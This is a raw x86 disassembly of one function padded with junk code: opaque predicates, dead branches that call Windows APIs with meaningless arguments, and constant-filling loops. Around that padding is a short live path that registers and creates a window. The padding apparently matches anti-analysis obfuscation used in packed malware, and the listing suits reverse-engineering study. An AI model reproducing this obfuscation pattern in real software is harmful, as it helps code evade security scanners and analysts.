mov eax, dword [ebp + eax*4 - 0x834]
mov dword [ebp - 0x2450], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x834]
mov dword [ebp - 0x2858], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x2458], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp + eax*4 - 0x834]
mov ecx, dword [ebp - 0x60]
add eax, dword [ebp + ecx*4 - 0x834]
cmp eax, 0xb09f5954
je 0x4aaa9a
mov dword [ebp - 0x1760], 1
jmp 0x4aaaa1
and dword [ebp - 0x1760], 0
mov eax, dword [ebp - 0x1760]
mov dword [ebp - 0x9b8], eax
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x9b8], eax
je 0x4aaac4
mov dword [ebp - 0x136c], 1
jmp 0x4aaacb
and dword [ebp - 0x136c], 0
cmp dword [ebp - 0x136c], 0xb2fc
jle 0x4aaae9
cmp dword [ebp - 0x9b8], 0
jne 0x4aaae9
mov dword [ebp - 0x1a40], 1
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp + eax*4 - 0x834]
cmp eax, dword [ebp - 0x1a40]
jg 0x4aab11
mov dword [ebp - 0x4a8], 0
mov dword [ebp - 0x764], 0
jmp 0x4aac0e
mov eax, dword [ebp - 0x764]
inc eax
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0x764], 1
jge 0x4aac2a
mov eax, dword [ebp - 0x764]
mov dword [ebp + eax*4 - 0x1770], 4
jmp 0x4aac01
mov dword [ebp - 0x4a8], 0
jmp 0x4aac43
mov eax, dword [ebp - 0x4a8]
dec eax
mov dword [ebp - 0x4a8], eax
cmp dword [ebp - 0x4a8], 0
jl 0x4aaca0
mov dword [ebp - 0x4a0], 0x8a137b18
mov dword [ebp - 0x4a0], 0
jmp 0x4aac6f
mov eax, dword [ebp - 0x4a0]
dec eax
mov dword [ebp - 0x4a0], eax
cmp dword [ebp - 0x4a0], 0
jl 0x4aac8c
mov eax, dword [ebp - 0x4a0]
cmp dword [ebp + eax*4 - 0x1770], 0
je 0x4aac8a
jmp 0x4aac8c
jmp 0x4aac62
mov eax, dword [ebp - 0x4a8]
cmp dword [ebp + eax*4 - 0x1770], 0
je 0x4aac9e
jmp 0x4aaca0
jmp 0x4aac36
mov byte [ebp - 0x252], 0
movzx eax, byte [ebp - 0x252]
test eax, eax
je 0x4aacc7
push 0
push 0x2358
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov dword [ebp - 0x17c8], str.main_window
mov dword [ebp - 0x838], 0x9f9b3198
mov dword [ebp - 0x838], 0x12
jmp 0x4aacf4
mov eax, dword [ebp - 0x838]
dec eax
mov dword [ebp - 0x838], eax
cmp dword [ebp - 0x838], 0xffffffed
jl 0x4aadae
mov dword [ebp - 0x4b0], 0xceafd94f
mov dword [ebp - 0x76c], 0
jmp 0x4aad24
mov eax, dword [ebp - 0x76c]
inc eax
mov dword [ebp - 0x76c], eax
cmp dword [ebp - 0x76c], 3
jge 0x4aad40
mov eax, dword [ebp - 0x76c]
mov dword [ebp + eax*4 - 0x2b34], 0
jmp 0x4aad17
mov byte [ebp - 0x254], 0
movzx eax, byte [ebp - 0x254]
test eax, eax
je 0x4aad74
push 0
push 0
push 0xade
push 0
push 0x12a1
push 0
push 0xb56
push 0x22b4
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x4b0], 0
jmp 0x4aad8d
mov eax, dword [ebp - 0x4b0]
inc eax
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x4b0], 3
jge 0x4aada9
mov eax, dword [ebp - 0x4b0]
mov dword [ebp + eax*4 - 0x2b34], 5
jmp 0x4aad80
jmp 0x4aace7
mov dword [ebp - 0x9c0], 0x8f3c34ee
mov dword [ebp - 0x398], 5
mov dword [ebp - 0x894], 0
jmp 0x4aaddb
mov eax, dword [ebp - 0x894]
inc eax
mov dword [ebp - 0x894], eax
cmp dword [ebp - 0x894], 3
jge 0x4aadf7
mov eax, dword [ebp - 0x894]
mov dword [ebp + eax*4 - 0x1b20], 0x70a3267e
jmp 0x4aadce
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1b20], 1
jl 0x4aae12
mov dword [ebp - 0x1d74], 1
jmp 0x4aae19
and dword [ebp - 0x1d74], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1b20]
mov dword [ebp - 0x27e0], eax
cmp dword [ebp - 0x398], 0x8591b68d
je 0x4aae43
mov dword [ebp - 0x138c], 1
jmp 0x4aae4a
and dword [ebp - 0x138c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1b20]
add eax, dword [ebp - 0x138c]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x1b20]
jge 0x4aae76
mov dword [ebp - 0x1afc], 1
jmp 0x4aae7d
and dword [ebp - 0x1afc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1b20]
cmp dword [ebp - 0x1afc], eax
je 0x4aae9d
mov dword [ebp - 0x2010], 1
jmp 0x4aaea4
and dword [ebp - 0x2010], 0
mov eax, dword [ebp - 0x9c0]
dec eax
mov dword [ebp - 0x9c0], eax
mov eax, dword [ebp - 0x9c0]
mov dword [ebp - 0x2460], eax
mov eax, 0x228d
test eax, eax
jne 0x4aaed8
cmp dword [ebp - 0x398], 0
jne 0x4aaed8
and dword [ebp - 0x1394], 0
jmp 0x4aaee2
mov dword [ebp - 0x1394], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1b20]
cmp dword [ebp - 0x1394], eax
jl 0x4aaf02
mov dword [ebp - 0x1778], 1
jmp 0x4aaf09
and dword [ebp - 0x1778], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1b20]
imul eax, dword [ebp - 0x1778]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x1b20], eax
mov dword [ebp - 0x398], 0
jmp 0x4aaf42
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0x27
jle 0x4aaf78
mov byte [ebp - 0x256], 0
movzx eax, byte [ebp - 0x256]
test eax, eax
je 0x4aaf76
push 0x1b0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
jmp 0x4aaf35
mov dword [ebp - 0x2860], 6
mov byte [ebp - 0x258], 0
movzx eax, byte [ebp - 0x258]
test eax, eax
je 0x4aafa3
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
mov byte [ebp - 0x25a], 0
movzx eax, byte [ebp - 0x25a]
test eax, eax
je 0x4aafbb
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov dword [ebp - 0x208], 0x324ec2e0
mov dword [ebp - 0x1f0], 0xedb5cabf
mov dword [ebp - 0x77c], 0
mov dword [ebp - 0x1958], 0x8bd85027
mov dword [ebp - 0x1a48], 0
mov dword [ebp - 0x1960], 0xf7626a9d
mov dword [ebp - 0x3a0], 0xffffffff
mov dword [ebp - 0x13cc], 0
mov dword [ebp - 0x774], 0
jmp 0x4ab024
mov eax, dword [ebp - 0x774]
inc eax
mov dword [ebp - 0x774], eax
cmp dword [ebp - 0x774], 1
jge 0x4ab040
mov eax, dword [ebp - 0x774]
mov dword [ebp + eax*4 - 0x1968], 1
jmp 0x4ab017
mov eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x77c], eax
imul eax, dword [ebp - 0x77c], 0x466b
test eax, eax
jne 0x4ab06c
cmp dword [ebp - 0x77c], 0
jne 0x4ab06c
and dword [ebp - 0x1d7c], 0
jmp 0x4ab076
mov dword [ebp - 0x1d7c], 1
mov eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x2468], eax
push 5
pop eax
test eax, eax
jne 0x4ab095
mov dword [ebp - 0x139c], 1
jmp 0x4ab09c
and dword [ebp - 0x139c], 0
mov eax, dword [ebp - 0x139c]
mov dword [ebp - 0x1958], eax
cmp dword [ebp - 0x1958], 0xfffffffd
jne 0x4ab0bd
mov dword [ebp - 0x13a4], 1
jmp 0x4ab0c4
and dword [ebp - 0x13a4], 0
mov eax, dword [ebp - 0x1f0]
add eax, dword [ebp - 0x13a4]
cmp dword [ebp - 0x1f0], eax
jne 0x4ab0e4
mov dword [ebp - 0x1780], 1
jmp 0x4ab0eb
and dword [ebp - 0x1780], 0
mov eax, dword [ebp - 0x1f0]
cmp dword [ebp - 0x1780], eax
jle 0x4ab105
mov dword [ebp - 0x13ac], 1
jmp 0x4ab10c
and dword [ebp - 0x13ac], 0
mov eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x13b4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x13b4]
mov dword [ebp + eax - 0x1968], ecx
mov eax, dword [ebp - 0x13ac]
mov dword [ebp - 0x1a48], eax
mov eax, dword [ebp - 0x1a48]
cmp dword [ebp - 0x13b4], eax
jge 0x4ab151
mov dword [ebp - 0x1788], 1
jmp 0x4ab158
and dword [ebp - 0x1788], 0
mov eax, dword [ebp - 0x1f0]
add eax, dword [ebp - 0x1788]
add eax, dword [ebp - 0x1f0]
cmp eax, 2
je 0x4ab17b
mov dword [ebp - 0x13bc], 1
jmp 0x4ab182
and dword [ebp - 0x13bc], 0
mov eax, dword [ebp - 0x13bc]
mov dword [ebp - 0x1960], eax
mov eax, dword [ebp - 0x3a0]
cmp dword [ebp - 0x1960], eax
jge 0x4ab1a8
mov dword [ebp - 0x13c4], 1
jmp 0x4ab1af
and dword [ebp - 0x13c4], 0
mov eax, dword [ebp - 0x3a0]
cmp dword [ebp - 0x13c4], eax
jle 0x4ab1c9
mov dword [ebp - 0x1790], 1
jmp 0x4ab1d0
and dword [ebp - 0x1790], 0
mov eax, dword [ebp - 0x1790]
mov dword [ebp - 0x13cc], eax
mov dword [ebp - 0x3a0], 0
jmp 0x4ab1f5
mov eax, dword [ebp - 0x3a0]
inc eax
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a0], 0x11
jl 0x4ab30d
mov dword [ebp - 0x2260], 0x9b95520
mov dword [ebp - 0x225c], 0x9b95520
mov dword [ebp - 0x2258], 0x9b95520
mov dword [ebp - 0x2254], 0x9b95520
mov dword [ebp - 0x83c], 0
jmp 0x4ab243
mov eax, dword [ebp - 0x83c]
inc eax
mov dword [ebp - 0x83c], eax
cmp dword [ebp - 0x83c], 4
jge 0x4ab25f
mov eax, dword [ebp - 0x83c]
mov dword [ebp + eax*4 - 0x2bf8], 0
jmp 0x4ab236
imul eax, dword [ebp - 0x77c], 0xffff
sub eax, dword [ebp - 0x1f0]
jne 0x4ab283
mov eax, 0x7635
test eax, eax
jne 0x4ab283
and dword [ebp - 0x13d4], 0
jmp 0x4ab28d
mov dword [ebp - 0x13d4], 1
mov eax, dword [ebp - 0x13cc]
mov dword [ebp - 0x1ac4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1ac4]
mov dword [ebp + eax - 0x2260], ecx
mov eax, dword [ebp - 0x1ac4]
cmp eax, dword [ebp - 0x13d4]
jle 0x4ab2c6
mov dword [ebp - 0x1798], 1
jmp 0x4ab2cd
and dword [ebp - 0x1798], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2bf8]
cmp eax, dword [ebp - 0x1798]
jne 0x4ab2ee
mov dword [ebp - 0x13dc], 1
jmp 0x4ab2f5
and dword [ebp - 0x13dc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x13dc]
mov dword [ebp + eax - 0x1968], ecx
jmp 0x4ab1e8
mov dword [ebp - 0x208], 0
jmp 0x4ab326
mov eax, dword [ebp - 0x208]
dec eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0xffffffe5
jg 0x4ab7fe
mov dword [ebp - 0x27f0], 0xeb90
mov dword [ebp - 0x2470], 0x52cb1363
mov dword [ebp - 0x2868], 0x3c69aed2
mov dword [ebp - 0x2478], 0xfffffff8
mov dword [ebp - 0x2800], 0x263126ff
mov dword [ebp - 0x2480], 0xffffffff
mov dword [ebp - 0x2870], 0xd1d8f8f5
mov dword [ebp - 0x2488], 0xfffffff9
mov dword [ebp - 0x2810], 0xc7516a20
mov dword [ebp - 0x2490], 0xc902dafb
mov dword [ebp - 0x13e4], 1
mov dword [ebp - 0x8c4], 0
jmp 0x4ab3ba
mov eax, dword [ebp - 0x8c4]
inc eax
mov dword [ebp - 0x8c4], eax
cmp dword [ebp - 0x8c4], 1
jge 0x4ab3d6
mov eax, dword [ebp - 0x8c4]
mov dword [ebp + eax*4 - 0x2878], 0
jmp 0x4ab3ad
mov eax, dword [ebp - 0x13e4]
inc eax
mov dword [ebp - 0x13e4], eax
mov dword [ebp - 0x4b8], 1
mov dword [ebp - 0x1f24], 2
mov dword [ebp - 0x4b8], 0x12
jmp 0x4ab410
mov eax, dword [ebp - 0x4b8]
inc eax
mov dword [ebp - 0x4b8], eax
cmp dword [ebp - 0x4b8], 0x12
jge 0x4ab4fd
mov dword [ebp - 0x844], 1
mov dword [ebp - 0x2498], 0xc9a57b5b
mov dword [ebp - 0x2820], 0x47c4d14
mov dword [ebp - 0x17a0], 0xfffc
mov dword [ebp - 0x784], 0
jmp 0x4ab45e
mov eax, dword [ebp - 0x784]
inc eax
mov dword [ebp - 0x784], eax
cmp dword [ebp - 0x784], 4
jge 0x4ab47a
mov eax, dword [ebp - 0x784]
mov dword [ebp + eax*4 - 0x2db8], 0x951a
jmp 0x4ab451
mov dword [ebp - 0x844], 0
jmp 0x4ab493
cmp dword [ebp - 0x844], 3
jg 0x4ab4eb
mov dword [ebp - 0x78c], 0xa6deec54
mov dword [ebp - 0x78c], 3
jmp 0x4ab4bf
cmp dword [ebp - 0x78c], 0
jl 0x4ab4e9
mov byte [ebp - 0x25c], 0
movzx eax, byte [ebp - 0x25c]
test eax, eax
je 0x4ab4e7
jmp 0x4ab486
mov eax, dword [ebp - 0x17a0]
dec eax
mov dword [ebp - 0x17a0], eax
jmp 0x4ab403
mov eax, 0x9b76
test eax, eax
je 0x4ab51b
cmp dword [ebp - 0x1f24], 0
je 0x4ab51b
mov dword [ebp - 0x13ec], 1
jmp 0x4ab522
and dword [ebp - 0x13ec], 0
mov eax, dword [ebp - 0x13ec]
mov dword [ebp - 0x4b8], eax
mov byte [ebp - 0x260], 0
mov dword [ebp - 0x89c], 5
mov dword [ebp - 0x1a50], 0xd37ad43
mov dword [ebp - 0x89c], 9
jmp 0x4ab562
mov eax, dword [ebp - 0x89c]
inc eax
mov dword [ebp - 0x89c], eax
cmp dword [ebp - 0x89c], 0x17
je 0x4ab5b7
mov dword [ebp - 0x1d84], 0xbecc
mov dword [ebp - 0x1fc0], 0
mov eax, dword [ebp - 0x1d84]
mov dword [ebp - 0x1a50], eax
mov eax, dword [ebp - 0x1a50]
mov dword [ebp - 0x1fc0], eax
mov byte [ebp - 0x25e], 0
movzx eax, byte [ebp - 0x25e]
test eax, eax
je 0x4ab5b5
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
jmp 0x4ab555
movzx eax, byte [ebp - 0x260]
test eax, eax
je 0x4ab7f9
mov dword [ebp - 0x3a8], 0x8a61928c
mov dword [ebp - 0x3a8], 5
jmp 0x4ab5e9
cmp dword [ebp - 0x3a8], 0x1c
jl 0x4ab7d0
mov dword [ebp - 0x8c], 2
mov dword [ebp - 0x1d8c], 0x84edc022
xor eax, eax
inc eax
je 0x4ab6c4
mov byte [ebp - 0x266], 0
movzx eax, byte [ebp - 0x266]
test eax, eax
je 0x4ab7e8
jmp 0x4ab319
mov dword [ebp - 0x208], 0
jmp 0x4ab817
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0xe
jl 0x4abdd6
mov byte [ebp - 0x26a], 0
mov dword [ebp - 0x4c8], 0xf89b546
mov dword [ebp - 0x1414], 0xc6d21cd
mov dword [ebp - 0x17b8], 1
mov dword [ebp - 0x1d94], 0xfffffffc
mov dword [ebp - 0x1a4], 0
jmp 0x4ab86c
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 3
jge 0x4ab888
mov eax, dword [ebp - 0x1a4]
mov dword [ebp + eax*4 - 0xab0], 0x5f70ad6f
jmp 0x4ab85f
mov dword [ebp - 0x1a4], 0
jmp 0x4ab8a1
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 2
jge 0x4ab8bd
mov eax, dword [ebp - 0x1a4]
mov dword [ebp + eax*4 - 0x2104], 1
jmp 0x4ab894
mov dword [ebp - 0x4c8], 0
jmp 0x4ab8d6
cmp dword [ebp - 0x4c8], 2
jg 0x4abb77
mov dword [ebp - 0xd0], 0xfb770a77
mov dword [ebp - 0x794], 0
jmp 0x4ab906
cmp dword [ebp - 0x794], 1
jge 0x4ab922
mov eax, dword [ebp - 0x794]
mov dword [ebp + eax*4 - 0x1424], 2
jmp 0x4ab8f9
mov dword [ebp - 0xd0], 0
jmp 0x4ab93b
movzx eax, byte [ebp - 0x26a]
test eax, eax
je 0x4abdd1
mov dword [ebp - 0x79c], 0x9fdf99ff
mov dword [ebp - 0x282c], 6
mov dword [ebp - 0x1cc], 0
jmp 0x4abbb3
cmp dword [ebp - 0x1cc], 1
jge 0x4abbcf
jmp 0x4ab80a
mov dword [ebp - 0x2280], 0x928c176b
mov dword [ebp - 0x227c], 0x928c176b
mov dword [ebp - 0x2278], 0x928c176b
mov dword [ebp - 0x2274], 0x928c176b
mov dword [ebp - 0x7ac], 0xfffffffb
mov dword [ebp - 0x7ac], 3
jmp 0x4abe21
mov eax, dword [ebp - 0x7ac]
dec eax
mov dword [ebp - 0x7ac], eax
cmp dword [ebp - 0x7ac], 0
jl 0x4abec7
mov dword [ebp - 0x8a4], 0
jmp 0x4abe47
mov eax, dword [ebp - 0x8a4]
inc eax
mov dword [ebp - 0x8a4], eax
cmp dword [ebp - 0x8a4], 1
jge 0x4abe63
mov eax, dword [ebp - 0x8a4]
mov dword [ebp + eax*4 - 0x7b4], 0
jmp 0x4abe3a
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x7b4], 0
jmp 0x4abe91
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7b4]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x7b4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7b4], 3
jg 0x4abec2
mov byte [ebp - 0x26e], 0
movzx eax, byte [ebp - 0x26e]
test eax, eax
je 0x4abec0
push 0x200a
push 0
call dword [sym.imp.USER32.dll_GetSubMenu]
jmp 0x4abe76
jmp 0x4abe14
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x2280], 0
mov dword [ebp - 0x22f0], 0x30
mov dword [ebp - 0x22ec], 3
lea ecx, [ebp - 0xa29]
call fcn.004b41a8
mov dword [ebp - 0x22e8], eax
and dword [ebp - 0x22e4], 0
and dword [ebp - 0x22e0], 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x22dc], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x22d8], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorW]
mov dword [ebp - 0x22d4], eax
mov dword [ebp - 0x22d0], 5
and dword [ebp - 0x22cc], 0
mov eax, dword [ebp - 0x17c8]
mov dword [ebp - 0x22c8], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x22c4], eax
lea eax, [ebp - 0x22f0]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
mov dword [ebp - 0x7bc], 0x399841b3
mov dword [ebp - 0x85c], 0
jmp 0x4abf9f
mov eax, dword [ebp - 0x85c]
inc eax
mov dword [ebp - 0x85c], eax
cmp dword [ebp - 0x85c], 4
jge 0x4abfbb
mov eax, dword [ebp - 0x85c]
mov dword [ebp + eax*4 - 0x29e4], 0x102d149f
jmp 0x4abf92
mov dword [ebp - 0x7bc], 0xffffffe4
jmp 0x4abfd4
cmp dword [ebp - 0x7bc], 7
jle 0x4ac160
mov dword [ebp - 0x210], 0xf7fd1e81
mov dword [ebp - 0x8cc], 0
jmp 0x4ac004
cmp dword [ebp - 0x8cc], 2
jge 0x4ac020
mov eax, dword [ebp - 0x8cc]
mov dword [ebp + eax*4 - 0x258c], 0
jmp 0x4abff7
mov dword [ebp - 0x210], 3
jmp 0x4ac039
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
push 0
push 0
push 0x277
push 0x7c
push 0x2084
push 0x3411
push 0xcf0000
push str.Window
push dword [ebp - 0x17c8]
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0xc74], eax
mov dword [ebp - 0x2080], 6
mov dword [ebp - 0x207c], 6
mov dword [ebp - 0x2078], 6
mov dword [ebp - 0x2074], 6
mov dword [ebp - 0x3c0], 0xf34fda0e
mov dword [ebp - 0x292c], 0xfffffffd
mov byte [ebp - 0x270], 0
movzx eax, byte [ebp - 0x270]
test eax, eax
je 0x4ac1f6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x3c0], 0
jmp 0x4ac20f
cmp dword [ebp - 0x3c0], 3
jg 0x4ac2e3
mov dword [ebp - 0x580], 0xb3ae3556
mov dword [ebp - 0x1fc], 0x111738ab
mov dword [ebp - 0x580], 0
jmp 0x4b3da0
mov eax, dword [ebp - 0x580]
inc eax
mov dword [ebp - 0x580], eax
cmp dword [ebp - 0x580], 1
jne 0x4b410e
mov dword [ebp - 0x198], 0
jmp 0x4b3dc6
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 2
jge 0x4b3de2
mov eax, dword [ebp - 0x198]
mov dword [ebp + eax*4 - 0x1b78], 0x8d52
jmp 0x4b3db9
mov dword [ebp - 0x198], 0
jmp 0x4b3dfb
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 3
jge 0x4b3e17
mov eax, dword [ebp - 0x198]
mov dword [ebp + eax*4 - 0x2b70], 2
jmp 0x4b3dee
mov dword [ebp - 0x1fc], 0x73eb905d
mov dword [ebp - 0x1fc], 1
jmp 0x4b3e3a
mov eax, dword [ebp - 0x1fc]
dec eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0
jl 0x4b4109
mov dword [ebp - 0x250], 0x45625132
mov dword [ebp - 0xa1c], 1
mov dword [ebp - 0x250], 1
jmp 0x4b3e74
mov eax, dword [ebp - 0x250]
dec eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0
jl 0x4b40f2
mov dword [ebp - 0x388], 0xd66a0756
mov dword [ebp - 0xa14], 0xffff
mov dword [ebp - 0x754], 0xfffffffa
mov dword [ebp - 0x388], 0
jmp 0x4b3eb8
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 1
jg 0x4b40b9
cmp dword [ebp - 0x250], 0
jne 0x4b3ede
push 7
pop eax
test eax, eax
jne 0x4b3ede
and dword [ebp - 0xdc4], 0
jmp 0x4b3ee8
mov dword [ebp - 0xdc4], 1
mov eax, dword [ebp - 0xa14]
dec eax
mov dword [ebp - 0xa14], eax
mov dword [ebp - 0xa1c], 0xffffffff
mov eax, dword [ebp - 0xdc4]
sub eax, dword [ebp - 0x580]
mov ecx, dword [ebp - 0xa1c]
sub ecx, eax
mov eax, dword [ebp - 0xa14]
imul eax, ecx
test eax, eax
jne 0x4b3f3b
cmp dword [ebp - 0x250], 0
jne 0x4b3f3b
cmp dword [ebp - 0xa1c], 0
jne 0x4b3f3b
and dword [ebp - 0xdcc], 0
jmp 0x4b3f45
mov dword [ebp - 0xdcc], 1
cmp dword [ebp - 0xdcc], 0x91a8
je 0x4b3f5d
mov dword [ebp - 0xdd4], 1
jmp 0x4b3f64
and dword [ebp - 0xdd4], 0
cmp dword [ebp - 0xdd4], 1
je 0x4b3f79
mov dword [ebp - 0xddc], 1
jmp 0x4b3f80
and dword [ebp - 0xddc], 0
imul eax, dword [ebp - 0xddc], 0x53fd
cmp eax, dword [ebp - 0x250]
jl 0x4b3f9e
mov dword [ebp - 0xa24], 1
jmp 0x4b3fa5
and dword [ebp - 0xa24], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa24]
mov dword [ebp + eax - 0x2b70], ecx
mov eax, dword [ebp - 0x388]
mov eax, dword [ebp + eax*4 - 0x1b78]
add eax, dword [ebp - 0xa24]
cmp eax, dword [ebp - 0x1fc]
jge 0x4b3fdf
mov dword [ebp - 0xde4], 1
jmp 0x4b3fe6
and dword [ebp - 0xde4], 0
mov eax, dword [ebp - 0x388]
mov eax, dword [ebp + eax*4 - 0x1b78]
shl eax, 2
cmp eax, dword [ebp - 0xde4]
jle 0x4b400a
mov dword [ebp - 0xdec], 1
jmp 0x4b4011
and dword [ebp - 0xdec], 0
cmp dword [ebp - 0xdec], 0x7c77
jl 0x4b406f
mov dword [ebp - 0x74c], 0
jmp 0x4b4036
mov eax, dword [ebp - 0x74c]
inc eax
mov dword [ebp - 0x74c], eax
cmp dword [ebp - 0x74c], 3
jge 0x4b4052
mov eax, dword [ebp - 0x74c]
mov dword [ebp + eax*4 - 0x281c], 0xf5291260
jmp 0x4b4029
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x281c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x281c], eax
jmp 0x4b40b4
mov dword [ebp - 0x754], 1
jmp 0x4b4088
mov eax, dword [ebp - 0x754]
dec eax
mov dword [ebp - 0x754], eax
cmp dword [ebp - 0x754], 0
jl 0x4b40b4
mov byte [ebp - 0x2ab], 0
movzx eax, byte [ebp - 0x2ab]
test eax, eax
je 0x4b40b2
push 0
push 0x8ef
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
jmp 0x4b407b
jmp 0x4b3eab
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x250]
cmp dword [ebp + eax - 0x1b78], ecx
jne 0x4b40da
mov dword [ebp - 0xdf4], 1
jmp 0x4b40e1
and dword [ebp - 0xdf4], 0
mov eax, dword [ebp - 0xdf4]
mov dword [ebp - 0x388], eax
jmp 0x4b3e67
mov eax, dword [ebp - 0x1fc]
cmp dword [ebp + eax*4 - 0x1b78], 0
je 0x4b4104
jmp 0x4b4109
jmp 0x4b3e2d
jmp 0x4b3d93
mov dword [ebp - 0x1fc], 0x314648a5
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.0049f11a
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret